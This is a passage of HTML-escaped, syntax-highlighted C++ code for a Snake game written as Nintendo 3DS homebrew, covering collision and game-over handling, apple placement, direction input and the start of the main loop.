&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;hitWall&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;newHead&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ||&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; hitSnake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;newHead&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gameOver &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; true&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        consoleSelect&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;bottomScreen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        consoleClear&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        printf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;YOU DIED!&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        printf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Press start to start again!&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;        &#x2F;&#x2F; Even the game is over, we keep updating,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;        &#x2F;&#x2F; to create the head-in-the-wall scene.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    consoleSelect&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;topScreen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;newHead &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span&gt; apple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        createApple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[31m@&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[0m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; apple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;        &#x2F;&#x2F; Clear the last&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;back&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pop_back&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[32mO&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[0m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; newHead&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[32mo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[0m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;front&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;());&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; &#x2F;&#x2F; Overwrites the old apple&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;insert&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;begin&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(),&lt;&#x2F;span&gt;&lt;span&gt; newHead&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt;point&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; getNewHead&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt;u32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;key &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; KEY_UP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        direction &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; up&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    else if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;key &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; KEY_DOWN&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        direction &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; down&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    else if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;key &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; KEY_LEFT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        direction &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; left&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    else if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;key &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; KEY_RIGHT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        direction &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; right&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    point head &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;front&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    switch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;direction&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    case&lt;&#x2F;span&gt;&lt;span&gt; up&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    case&lt;&#x2F;span&gt;&lt;span&gt; down&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    case&lt;&#x2F;span&gt;&lt;span&gt; left&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    case&lt;&#x2F;span&gt;&lt;span&gt; right&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; head&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; &#x2F;&#x2F; direction is a global variable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        __builtin_unreachable&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; argc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; char*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; argv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    init&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    gameStart&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u64 reference &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; svcGetSystemTick&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    while&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;aptMainLoop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        u32 key &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; getInput&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;key &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; KEY_START&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            gameOver &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; &#x2F;&#x2F; For more rounds&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;            gameStart&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; else if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;key &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; KEY_SELECT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;            break&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;        const&lt;&#x2F;span&gt;&lt;span&gt; u64 now &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; svcGetSystemTick&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
